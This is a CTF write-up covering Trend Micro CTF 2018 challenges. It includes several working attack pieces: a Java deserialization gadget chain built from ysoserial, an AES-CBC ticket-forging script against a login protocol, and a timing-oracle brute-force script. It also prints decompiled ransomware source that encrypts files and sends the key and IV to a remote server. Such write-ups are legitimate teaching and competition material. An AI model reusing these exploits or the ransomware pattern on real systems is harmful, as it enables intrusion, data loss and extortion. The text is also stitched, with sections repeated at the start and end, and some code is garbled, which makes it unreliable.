Moreover, the broken python script implements DBSCAN algorithm. It's not very difficult to recover the script with the [source](http://scikit-learn.org/stable/auto_examples/cluster/plot_dbscan.html) available. Also we adjust the DBSCAN parameters `eps` and `min_sample`. In fact several pairs of `eps` and `min_sample` can produce the desired result.
```pythonimport matplotlib.pyplot as pltimport seaborn as sns; sns.set() # for plot stylingimport numpy as npfrom sklearn.datasets.samples_generator import make_blobsfrom numpy import genfromtxtfrom sklearn.cluster import DBSCAN
#humm, encontre este codigo en un servidor remoto#estaba junto con el "traffic.pcap"# que podria ser?, like some sample code
X = np.genfromtxt('test_2.txt', delimiter=',')print(X)db = DBSCAN(eps=0.3, min_samples=10).fit(X)labels = db.labels_n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)core_samples_mask = np.zeros_like(db.labels_, dtype=bool)core_samples_mask[db.core_sample_indices_] = Trueunique_labels = set(labels)colors = [plt.cm.Spectral(each) for each in np.linspace(0, 1, len(unique_labels))]for k, col in zip(unique_labels, colors): class_member_mask = (labels == k) xy = X[class_member_mask & core_samples_mask] plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col), markeredgecolor='k', markersize=14)
#NOTE: what you see in the sky put it format TMCTF{replace_here}#where "replace_here" is what you seeplt.title('aaaaaaaa: %d' % n_clusters_)plt.show()```

With @sces60107's sharp eyes, we quicklly realize that this is the mirror or `FLAG:1`. And the rest of the work is to guess the flag. Try each combination of `One, 1, oNE, ONE, FLAG:1, flag:one, 1:flag, flag:1 ....`
The flag comes out to be `TMCTF{flag:1}`.
### 300
The challenge is about java unsafe deserialization. The file includes `commons-collections-3.1.jar` and a web server, which deserializes the user's input:
```java// Server.java@WebServlet({"/jail"})public class Server extends HttpServlet{ private static final long serialVersionUID = 1L; public Server() {} protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { ServletInputStream is = request.getInputStream(); ObjectInputStream ois = new CustomOIS(is); Person person = (Person)ois.readObject(); ois.close(); response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!."); } catch (Exception e) { response.setStatus(500); e.printStackTrace(response.getWriter()); } }} ```
```java// CustomOIS.javapublic class CustomOIS extends ObjectInputStream{ private static final String[] whitelist = { "javax.management.BadAttributeValueExpException", "java.lang.Exception", "java.lang.Throwable", "[Ljava.lang.StackTraceElement;", "java.lang.StackTraceElement", "java.util.Collections$UnmodifiableList", "java.util.Collections$UnmodifiableCollection", "java.util.ArrayList", "org.apache.commons.collections.keyvalue.TiedMapEntry", "org.apache.commons.collections.map.LazyMap", "org.apache.commons.collections.functors.ChainedTransformer", "[Lorg.apache.commons.collections.Transformer;", "org.apache.commons.collections.functors.ConstantTransformer", "com.trendmicro.jail.Flag", "org.apache.commons.collections.functors.InvokerTransformer", "[Ljava.lang.Object;", "[Ljava.lang.Class;", "java.lang.String", "java.lang.Object", "java.lang.Integer", "java.lang.Number", "java.util.HashMap", "com.trendmicro.Person" };
public CustomOIS(ServletInputStream is) throws IOException { super(is); }
public Class resolveClass(ObjectStreamClass des) throws IOException, ClassNotFoundException { if (!Arrays.asList(whitelist).contains(des.getName())) { throw new ClassNotFoundException("Cannot deserialize " + des.getName()); } return super.resolveClass(des); }}
```
```java// Person.java and jail/Flag.javapublic class Person implements Serializable { public String name; public Person(String name) { this.name = name; }} public class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() {} public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); }}
```
I use [jd-gui](http://jd.benow.ca/) to decompile the java class files.
The objective is to invoke `Flag.getFlag()`. However, it's tricky because:
1. getFlag() is static (class method)2. Server.java only accesses the member `person.name`.3. The server doesn't invoke any other method.
So we quickly realize it's not possible to call `getFlag()`. We need RCE / more powerful exploit.
We note that the `CustomOIS.java` uses a whitelist to check the resolved class name, but it's really suspicous because some weird classes are in the whiltelist, like `javax.management.BadAttributeValueExpException`.
With a quick Google we found [ysoserial](https://github.com/frohoff/ysoserial) can generate RCE payload for `commons-collections:3.1`, which is the dependency of the server.
Actually the `CommonsCollections5` utilizes those classes in the whitelist to trigger RCE, but `Java.lang.Runtime` is not in the whilelist. I think it's not able to RCE.
Though we cannot call `Runtime.exec()`, at least we can try to invoke `Flag.getFlag()`.
Here is the modified version of [CommonCollection5.java](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java):
```java// Some of the code is omitted....
import java.io.Serializable;class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() {} public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); } }
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Flag.class), // Flag class here new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getFlag", new Class[0] }), // invoke static method getFlag new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new ConstantTransformer(1) };
...
```
We have generate the payload, but the class name of Flag is incorrect; it should be `com.trendmicro.jail.Flag`. Let's use Python to do the replacement trick:
```python# The first byte is the length of the class namereplace(b'\x17ysoserial.payloads.Flag',b'\x18com.trendmicro.jail.Flag')```
The flag: `TMCTF{15nuck9astTheF1agMarsha12day}`
|
# Trend Micro CTF 2018
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180914-trendmicroctf/) of this writeup.**
- [Trend Micro CTF 2018](#trend-micro-ctf-2018) - [Analysis-Offensive](#analysis-offensive) - [200](#200) - [300](#300) - [400 ACME Protocol](#400-acme-protocol) - [Reversing-Binary](#reversing-binary) - [100 (sces60107)](#100-sces60107) - [300](#300-1) - [400](#400) - [part 2](#part-2) - [Forensics-Crypto1](#forensics-crypto1) - [400](#400-1) - [Forensics-Crypto2](#forensics-crypto2) - [100 (sces60107)](#100-sces60107-1) - [200 (sces60107)](#200-sces60107) - [300](#300-2) - [Reversing-Other](#reversing-other) - [100, 200 (sces60107)](#100-200-sces60107) - [400 (sces60107)](#400-sces60107) - [Misc](#misc) - [100](#100) - [200](#200-1) - [300](#300-3)
## Analysis-Offensive
### 200
We are given a program `oracle` which reads our input. If our input matches the flag, it outputs `True`, otherwise, `False`.
According to the hints from the description, (1) The program exits as fast as possible. (2) This is not a reverse challenge.
So, let's take a look at the system calls it uses:```shell$ strace ./oracle TMCTF{execve("./oracle", ["./oracle", "TMCTF{"], [/* 23 vars */]) = 0brk(NULL) = 0x146d000brk(0x146e1c0) = 0x146e1c0arch_prctl(ARCH_SET_FS, 0x146d880) = 0uname({sysname="Linux", nodename="ubuntu-xenial", ...}) = 0readlink("/proc/self/exe", "/home/vagrant/trend/analysis-200"..., 4096) = 39brk(0x148f1c0) = 0x148f1c0brk(0x1490000) = 0x1490000access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0write(1, "False\n", 6False) = 6exit_group(0) = ?+++ exited with 0 +++```Nice, it sleeps six times when the first six characters are correct. Here is our script:
```pythonimport subprocessimport string
flag = 'TMCTF{'while True: for c in string.ascii_letters + string.digits + '{}_': batcmd = '/usr/bin/strace ./oracle "{}" 2>&1'.format(flag + c) result = subprocess.check_output(batcmd, shell=True) if result.count('nano') == len(flag) + 1: flag += c break print(flag)```FLAG: `TMCTF{WatchTh3T1m3}`
### 300We are given three people's public keys and the messages for them respectively. For example,```message for Alice:18700320110367574655449823553009212724937318442101140581378358928204994827498139841897479168675123789374462637095265564472109735802305521045676412446455683615469865332270051569768255072111079626023422
Alice's public key (e,N):( 65537 , 23795719145225386804055015945976331504878851440464956768596487167710701468817080174616923533397144140667518414516928416724767417895751634838329442802874972281385084714429143592029962130216053890866347 )```It turns out that any two of the module `N`s has a common factor, thus they all can be factorized.```pythonfrom gmpy2 import *
...
g_ab = gcd(a_N, b_N)g_bc = gcd(b_N, c_N)
def decrypt(msg, p, q, N): phi_n = (p-1)*(q-1) d = invert(65537, phi_n) msg = pow(msg, d, N) print(int2text(msg))
decrypt(a_msg, g_ab, a_N/g_ab, a_N)decrypt(b_msg, g_ab, b_N/g_ab, b_N)decrypt(c_msg, g_bc, c_N/g_bc, c_N)```Hmm... is it worth 300 points?FLAG: `TMCTF{B3Car3fu11Ab0utTh3K3ys}`
### 400 ACME Protocol
We are given a protocol and some reference implementation in Python. The author of this challenge is so kind. Even a protocol spec is given! so let's take a closer look at the protocol to find the vulnerability.
First, our objective is obvious: run `getflag` as `admin`
```4.6 COMMAND (Message Type 0x06)
Message Format: Client -> Server: 0x06 | Ticket | Command
Explanation: Client requests execution of the command specified by the string Command. Ticket must be a valid, current ticket received via a LOGON_SUCCESS message.
Processing: The server executes the following algorithm upon receipt:
Set D = Decrypt(Base64Decode(Ticket), KS)Scan D sequentially as follows:Set IdentityFromTicket = JSON string (UTF-8, null-terminated)Set Timestamp = 8 bytesIf Timestamp is too old (> 1 hour): Respond with message AUTHX_FAILURE EndSet U to the string IdentityFromTicket.userIterate over IdentityFromTicket.groups, collecting the results into an array of strings, GSet Identity = object expressing U and GIf Command = โwhoamiโ: Set Result = JSON string: { user: Identity.U, groups: [ G1, G2, ... ] } where G1, G2, ... are the elements of Identity.GElse If Command = โgetflagโ: If G contains the string โadminโ: Set Result = CTF flag Else: Respond with message AUTHX_FAILURE EndElse: Respond with message AUTHX_FAILURE EndRespond with message COMMAND_RESULT(Result)```
Okay, the next problem is how to generate a valid `IdentityFromTicket`, which is a JSON string encrypted by KS (server key)? What we want to do is to send `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. Note that in this challenge we don't even have a valid guest account to login.
Of course we don't have the server key, but can we abuse other command to manipulate the payload? Let's take a look at LOGON_REQUEST:
```4.1 LOGON_REQUEST (Message Type 0x01)
Message format: Client -> Server: 0x01 | U
Explanation: The client sends this message to the server to initiate authentication with username U.
Processing: The server executes the following algorithm upon receipt:
Set Nonce = 8-byte random nonceSet Timestamp = current timestampSet ChallengeCookie = Base64Encode(Encrypt(Nonce | U | Timestamp, KS))Respond with message LOGON_CHALLENGE(Nonce, ChallengeCookie)```
Basically the server will encrypt user-provided U (username), and we'll get the ciphertext of `Encrypt(Nonce | U | Timestamp)`.
It's apparent that `Encrypt(Nonce | U | Timestamp)` is similar to what we need, `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. However, how to get rid of the nonce?
Since the encryption uses AES-128-CBC, it's feasible to truncate the nonce!
The idea is simple: we'll let the server encrypt the following payload:
```block 0: 8-byte nonce + 8-byte garbageblock 1,2,3: 16 * 3 bytes JSON stringblock 4: 8-byte timestamp + 8-byte PKCS#7 padding```
and we'll truncate the first block.
Here is the attack script:
```python#!/usr/bin/env python3import socketimport timeimport numpy as npimport jsonimport base64
def send(s): sock.send(s) print(f'[<-send] {s}')
def recv(): s = sock.recv(2**14) print(f'[recv->] {repr(s)}') return s
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(("localhost", 9999))
payload = '{"user":"admin","groups":["admin", "aaaaaaaaa"]}'assert len(payload) == 16 * 3send(b'\x01garbage!' + payload.encode() + b'\x00')# 0x02 | 8 byte Nonce | ChallengeCookie (null byte terminated)enc = base64.b64decode(recv()[1+8:-1])# enc: 6 blocks: iv | (8 byte Nonce | 8 byte garbage!) | 48 bytes payload | Timestampassert len(enc) == 16 * 6
#0x06 | Ticket | Commandsend(b'\x06' + base64.b64encode(enc[16:]) + b'\x00' + b'getflag\x00')print(recv())# TMCTF{90F41EF71ED5}sock.close()```
I guess some teams retrieve the flag using reverse skills, though the author claimed it's heavily obfuscated.
In real world, there are lots of protocols and it's really important to ensure every step is secure. IMO this challenge is well-designed and very interesting! I really enjoyed it. Thanks to the author for such a practical challenge.
## Reversing-Binary
### 100 (sces60107)
1. Use PyInstaller Extractor v1.9 and uncompyle22. Now we have this source code```python=import struct, os, time, threading, urllib, requests, ctypes, base64from Cryptodome.Random import randomfrom Cryptodome.Cipher import AES, ARC4from Cryptodome.Hash import SHAinfile = 'EncryptMe1234.txt'encfile = 'EncryptMe1234.txt.CRYPTED'keyfile = 'keyfile'sz = 1024bs = 16passw = 'secretpassword'URL = 'http://192.168.107.14'rkey = 'secretkey'key = os.urandom(bs)iv = os.urandom(bs)
def callbk(): global rkey global passw global iv global key id = 0 n = 0 while id == 0 or n == 0 and n < 256: id = os.urandom(1) n = hex(ord(id) + bs)
id = id.encode('hex') for c in passw: passw = ''.join(chr(ord(c) ^ int(n, 16)))
key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key)) for c in rkey: rkey = ''.join(chr(ord(c) ^ int(n, 16)))
iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv)) key = key.encode('hex') iv = iv.encode('hex') Headers = {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36'} params = urllib.urlencode({'id': id, 'key': key, 'iv': iv}) rnum = os.urandom(bs) khash = SHA.new(rnum).digest() cipher1 = ARC4.new(khash) khash = khash.encode('hex') msg = cipher1.encrypt(params) msg = base64.b64encode(khash + msg.encode('hex')) response = requests.post(url=URL, data=msg, headers=Headers) del key del iv ctypes.windll.user32.MessageBoxA(0, 'Your file "EncryptMe1234.txt" has been encrypted. Obtain your "keyfile" to decrypt your file.', 'File(s) Encrypted!!!', 1)
def encrypt(): global encfile global infile aes = AES.new(key, AES.MODE_CBC, iv) if os.path.exists(infile): fin = open(infile, 'r') fout = open(encfile, 'w') fsz = os.path.getsize(infile) fout.write(struct.pack('<H', fsz)) while True: data = fin.read(sz) n = len(data) if n == 0: break elif n % bs != 0: data += '0' * (bs - n % bs) crypt = aes.encrypt(data) fout.write(crypt)
fin.close() fout.close() os.remove(infile) callbk() else: return
def decrypt(): global keyfile key = '' iv = '' if not os.path.exists(encfile): exit(0) while True: time.sleep(10) if os.path.exists(keyfile): keyin = open(keyfile, 'rb') key = keyin.read(bs) iv = keyin.read(bs) if len(key) != 0 and len(iv) != 0: aes = AES.new(key, AES.MODE_CBC, iv) fin = open(encfile, 'r') fsz = struct.unpack('<H', fin.read(struct.calcsize('<H')))[0] fout = open(infile, 'w') fin.seek(2, 0) while True: data = fin.read(sz) n = len(data) if n == 0: break decrypted = aes.decrypt(data) n = len(decrypted) if fsz > n: fout.write(decrypted) else: fout.write(decrypted[:fsz]) fsz -= n
fin.close() os.remove(encfile) break
def main(): encrypt() t2 = threading.Thread(target=decrypt, args=()) t2.start() t2.join()
if __name__ == '__main__': main()```3. Extract information from filecrypt.pcap and decrypt the message then get this string `id=d1&key=2f87011fadc6c2f7376117867621b606&iv=95bc0ed56ab0e730b64cce91c9fe9390`4. But these are not the original key and the original iv. Take a look of this part of code, then you can recover the original key and the original iv```python while id == 0 or n == 0 and n < 256: id = os.urandom(1) n = hex(ord(id) + bs)
id = id.encode('hex') for c in passw: passw = ''.join(chr(ord(c) ^ int(n, 16)))
key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key)) for c in rkey: rkey = ''.join(chr(ord(c) ^ int(n, 16)))
iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv)) key = key.encode('hex') iv = iv.encode('hex')```5. The original key = `"ce66e0fe4c272316d680f66797c057e7".decode("hex")`6. The original iv = `"745def348b5106d157ad2f70281f7271".decode("hex")`7. Now you know how to retrieve the flag `TMCTF{MJB1200}`
### 300 The PE file has been `MEW` packed, we can using ollydbg to unpack it. And it also has anti debugger detection, but we can easily using static analysis to find the flag.
### 400#### part 2Using state compression to boost the speed of searching.```C++#pragma GCC optimize ("O3")#include<bits/stdc++.h>#pragma GCC optimize ("O3")#define f first#define s secondusing namespace std;typedef pair<int,int> par;unsigned char op[62];int cnt=0;inline unsigned char tohex(int x){ if(x>9)return x-10+'a'; return x+'0';}char s[100];unsigned int chash(){ unsigned long long int a = 0; for(int i=0;i<62;i++){ a = ( tohex((op[i]>>4&0xF)) + (a >> 13 | a << 19)) & 0xffffffffll; a = ( tohex(op[i]&0xF) + (a >> 13 | a << 19)) & 0xffffffffll; } return a;}void F(int p,int mask,bool boat){ if(p==62&&mask==0xFF){ cnt++; unsigned int hsh=chash(); if( hsh==0xE67FE7B8|| hsh==0xE27FEBB8|| hsh==0xE66FE7C8|| hsh==0xE26FEBC8|| hsh==0xF276F3DC|| hsh==0xE27703DC|| hsh==0xF272F3E0|| hsh==0xE27303E0 ){ fprintf(stderr,"%d %08x ",cnt,hsh); for(int i=0;i<62;i++) fprintf(stderr,"%02x",op[i]); fprintf(stderr,"\n"); } //puts("~~~"); return; } if(p+4<=62){ op[p]=0xd1; if(boat==0){ op[p+1]=0x1; for(int x=~mask&0xFF,y=x&-;;y;x^=y,y=x&-x){ op[p+3]=y; for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){ op[p+2]=y2; if(y2==0x40&&y==0x10) continue; int nmk=mask^y^y2; if((y==0x20||y2==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41)) continue; if((y==0x40||y2==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24)) continue; if((y==0x80||y2==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10)) continue; F(p+4,nmk,boat^1); } } } else{ op[p+1]=0x0; for(int x=mask,y=x&-;;y;x^=y,y=x&-x){ op[p+3]=y; for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){ op[p+2]=y2; if(y2==0x40&&y==0x10) continue; int nmk=mask^y^y2; if((y==0x20||y2==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41)) continue; if((y==0x40||y2==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24)) continue; if((y==0x80||y2==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10)) continue; F(p+4,nmk,boat^1); } } } } if(p+3<=62){ op[p]=0xd0; if(boat==0){ op[p+1]=0x1; for(int x=~mask&0xE0,y=x&-;;y;x^=y,y=x&-x){ op[p+2]=y; int nmk=mask^y; if((y==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41)) continue; if((y==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24)) continue; if((y==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10)) continue; F(p+3,nmk,boat^1); } } else{ op[p+1]=0x0; for(int x=mask&0xE0,y=x&-;;y;x^=y,y=x&-x){ op[p+2]=y; int nmk=mask^y; if((y==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41)) continue; if((y==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24)) continue; if((y==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10)) continue; F(p+3,mask^y,boat^1); } } } return;}int main(){ F(0,0,0);}```And you would get the output in about 15 seconds on Intel 8650U.```45721 e27303e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801045724 f272f3e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801059555 e27703dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801059558 f276f3dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801072019 e26febc8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801072022 e66fe7c8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d101801085399 e27febb8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801085402 e67fe7b8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d1018010```Send the instructions into the problem program.And you would get the flag:`TMCTF{v1rtu4l_r1v3r5_n_fl4g5}`By the way, there are 1348396 solutions of this problem.## Forensics-Crypto1
### 400We are given a pair of plaintext and ciphertext, also, an encrypted secret text. In this challenge, Feistel cipher is used in encryption. The round function is choosen to be `xor`, while the number of rounds of encryption is unknown. Our goal is to decrypt the secret text.
Let's first write down the results after every round of encryption. Let `L`, `R` be the first and last half of the plaintext, we simply ignore the difference of the keys and denote the xor sum of them as `K`. (But remember that they are not actually the same.) Note that the operation `+` means `xor`.```Round 0: L, RRound 1: R, L+R+KRound 2: L+R+K, L+KRound 3: L+K, R+KRound 4: R+K, L+R+K... repeat```We could find a regular pattern of the results, it repeats every three rounds. Though we do not know the actual number of rounds of encryption, but there are only three possiblities to try. Here is our script for decryption:
```pythondef bin2text(s): l = [s[i:i+8] for i in range(0, len(s), 8)] return ''.join([chr(int(c, 2)) for c in l])
def binxor(s, t): return ''.join([str(int(s[i]) ^ int(t[i])) for i in range(len(s))]) ...
pt0, pt1 = pt[:144], pt[144:]ct0, ct1 = ct[:144], ct[144:]st0, st1 = st[:144], st[144:]
# guess the result is R+K, L+R+Kk1 = binxor(pt0, ct1)k2 = binxor(binxor(ct0, ct1), pt1)
m1 = binxor(st1, k1)m2 = binxor(binxor(st0, st1), k2)print(bin2text(m1+m2))```FLAG: `TMCTF{Feistel-Cipher-Flag-TMCTF2018}`
## Forensics-Crypto2
### 100 (sces60107)
I will finish these part of writeup in my free time QQ
### 200 (sces60107)
1. Use PyInstaller Extractor v1.92. Cannot use uncompyle2. But we can reconstruct the flag directly from the byte code3. xxd mausoleum and get this4. It's easy to find out the pieces of flag. And you can reconstruct the flag `TMCTF{the_s3cr3t_i$_unE@rth3d}`
### 300
We can dump a x86 boot sector from `email.pdf`, that is a filesystem. when we mount the filesystem, we can see a small packet replay tool provided by trendmicro. We can find a packet replay binary at bin folder in the project.
It has one more parameter `-g` than the original binary. At function `sub_C42690("34534534534534534534534erertert676575675675675", 10)` return value is `0xfbfa`, when we change hex to decimal, we got the flag `64506`
## Reversing-Other
### 100, 200 (sces60107)
I will finish these part of writeup in my free time QQ
### 400 (sces60107)
1. Use `dis.dis` then you can extract python code2. Use Z3 to reconstruct the flag```python=from z3 import *
s=Solver()
flag=[]
for i in range(24): flag.append(BitVec("flag_"+str(i),32)) s.add(flag[i] < 256) s.add(flag[i] > 0)
summ=0
for i in flag: summ+=is.add(summ%24 == 9)s.add(summ/24 == 104)inval=[]
for i in flag: inval.append(i^104)ROFL=list(reversed(inval))KYRYK = [0]*5QQRTQ = [0]*5KYRYJ = [0]*5QQRTW = [0]*5KYRYH = [0]*5QQRTE = [0]*5KYRYG = [0]*5QQRTR = [0]*5KYRYF = [0]*5QQRTY = [0]*5print len(inval)
for i in range(5): for j in range(4): KYRYK[i] ^= inval[i+j] QQRTQ[i] += inval[i+j] KYRYJ[i] ^= inval[i*j] QQRTW[i] += inval[i*j] KYRYH[i] ^= inval[i*j+8] QQRTE[i] += inval[i*j+8] KYRYG[i] ^= ROFL[i*j+8] QQRTR[i] += ROFL[i*j+8] KYRYF[i] ^= ROFL[i+j] QQRTY[i] += ROFL[i+j] KYRYK[i] += 32 KYRYJ[i] += 32 KYRYH[i] += 32 KYRYG[i] += 32 KYRYF[i] += 32 QQRTE[i] += 8 QQRTY[i] += 1
for i,j in zip(KYRYK,'R) +6'): k=ord(j) s.add(i == k)for i,j in zip(QQRTQ,'l1:C('): k=ord(j) s.add(i == k)for i,j in zip(KYRYJ,' RP%A'): k=ord(j) s.add(i == k)for i,j in zip(QQRTW,[236,108,102,169,93]): s.add(i == j)for i,j in zip(KYRYH,' L30Z'): k=ord(j) s.add(i == k)for i,j in zip(QQRTE,' j36~'): k=ord(j) #print i,j s.add(i == k)for i,j in zip(KYRYG,' M2S+'): k=ord(j) #print i,j s.add(i == k)for i,j in zip(QQRTR,'4e\x9c{E'): k=ord(j) s.add(i == k)for i,j in zip(KYRYF,'6!2$D'): k=ord(j) s.add(i == k)for i,j in zip(QQRTY,']PaSs'): k=ord(j) s.add(i == k)print s.check()realflag = ""for i in flag: realflag+=chr(s.model()[i].as_long())print realflag# TMCTF{SlytherinPastTheReverser}```
## Misc
### 100```shell$ binwalk EATME.pdf
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PDF document, version: "1.7"353 0x161 JPEG image data, JFIF standard 1.01383 0x17F TIFF image data, big-endian, offset of first image directory: 8749016 0xB6DD8 Zip archive data, at least v2.0 to extract, compressed size: 41, uncompressed size: 200, name: flag.txt749123 0xB6E43 Zip archive data, at least v2.0 to extract, compressed size: 4168158, uncompressed size: -1, name: galf.txt4969997 0x4BD60D End of Zip archive, footer length: 31, comment: "Boooooom!"4970099 0x4BD673 Zlib compressed data, default compression4971214 0x4BDACE Zlib compressed data, default compression4971660 0x4BDC8C Zlib compressed data, default compression```There are files `flag.txt` and `glaf.txt`. Try:```shell$ binwalk -Me EATME.pdfDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PDF document, version: "1.7"353 0x161 JPEG image data, JFIF standard 1.01383 0x17F TIFF image data, big-endian, offset of first image directory: 8^C```Flag is in `flag.txt`. Be sure to press `^C`, otherwise, the file `galf.txt` with size `-1` will be extracted...FLAG: `TMCTF{QWxpY2UgaW4gV29uZGVybGFuZA==}`
### 200
We are given a broken python script and a pcap file. The pcap file contains numerous ICMP ping packets, and it's obvious that there is payload hiding in ICMP tunnel. Let's extract them:
```shell$ strings traffic.pcap -n16 | grep , | grep '^[0-9][0-9,\.]*' -o4.242410,2.9708804.242410,2.9708807.021890,1.989350...```
Moreover, the broken python script implements DBSCAN algorithm. It's not very difficult to recover the script with the [source](http://scikit-learn.org/stable/auto_examples/cluster/plot_dbscan.html) available. Also we adjust the DBSCAN parameters `eps` and `min_sample`. In fact several pairs of `eps` and `min_sample` can produce the desired result.
```pythonimport matplotlib.pyplot as pltimport seaborn as sns; sns.set() # for plot stylingimport numpy as npfrom sklearn.datasets.samples_generator import make_blobsfrom numpy import genfromtxtfrom sklearn.cluster import DBSCAN
#humm, encontre este codigo en un servidor remoto#estaba junto con el "traffic.pcap"# que podria ser?, like some sample code
X = np.genfromtxt('test_2.txt', delimiter=',')print(X)db = DBSCAN(eps=0.3, min_samples=10).fit(X)labels = db.labels_n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)core_samples_mask = np.zeros_like(db.labels_, dtype=bool)core_samples_mask[db.core_sample_indices_] = Trueunique_labels = set(labels)colors = [plt.cm.Spectral(each) for each in np.linspace(0, 1, len(unique_labels))]for k, col in zip(unique_labels, colors): class_member_mask = (labels == k) xy = X[class_member_mask & core_samples_mask] plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col), markeredgecolor='k', markersize=14)
#NOTE: what you see in the sky put it format TMCTF{replace_here}#where "replace_here" is what you seeplt.title('aaaaaaaa: %d' % n_clusters_)plt.show()```

With @sces60107's sharp eyes, we quicklly realize that this is the mirror or `FLAG:1`. And the rest of the work is to guess the flag. Try each combination of `One, 1, oNE, ONE, FLAG:1, flag:one, 1:flag, flag:1 ....`
The flag comes out to be `TMCTF{flag:1}`.
### 300
The challenge is about java unsafe deserialization. The file includes `commons-collections-3.1.jar` and a web server, which deserializes the user's input:
```java// Server.java@WebServlet({"/jail"})public class Server extends HttpServlet{ private static final long serialVersionUID = 1L; public Server() {} protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { ServletInputStream is = request.getInputStream(); ObjectInputStream ois = new CustomOIS(is); Person person = (Person)ois.readObject(); ois.close(); response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!."); } catch (Exception e) { response.setStatus(500); e.printStackTrace(response.getWriter()); } }} ```
```java// CustomOIS.javapublic class CustomOIS extends ObjectInputStream{ private static final String[] whitelist = { "javax.management.BadAttributeValueExpException", "java.lang.Exception", "java.lang.Throwable", "[Ljava.lang.StackTraceElement;", "java.lang.StackTraceElement", "java.util.Collections$UnmodifiableList", "java.util.Collections$UnmodifiableCollection", "java.util.ArrayList", "org.apache.commons.collections.keyvalue.TiedMapEntry", "org.apache.commons.collections.map.LazyMap", "org.apache.commons.collections.functors.ChainedTransformer", "[Lorg.apache.commons.collections.Transformer;", "org.apache.commons.collections.functors.ConstantTransformer", "com.trendmicro.jail.Flag", "org.apache.commons.collections.functors.InvokerTransformer", "[Ljava.lang.Object;", "[Ljava.lang.Class;", "java.lang.String", "java.lang.Object", "java.lang.Integer", "java.lang.Number", "java.util.HashMap", "com.trendmicro.Person" };
public CustomOIS(ServletInputStream is) throws IOException { super(is); }
public Class resolveClass(ObjectStreamClass des) throws IOException, ClassNotFoundException { if (!Arrays.asList(whitelist).contains(des.getName())) { throw new ClassNotFoundException("Cannot deserialize " + des.getName()); } return super.resolveClass(des); }}
```
```java// Person.java and jail/Flag.javapublic class Person implements Serializable { public String name; public Person(String name) { this.name = name; }} public class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() {} public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); }}
```
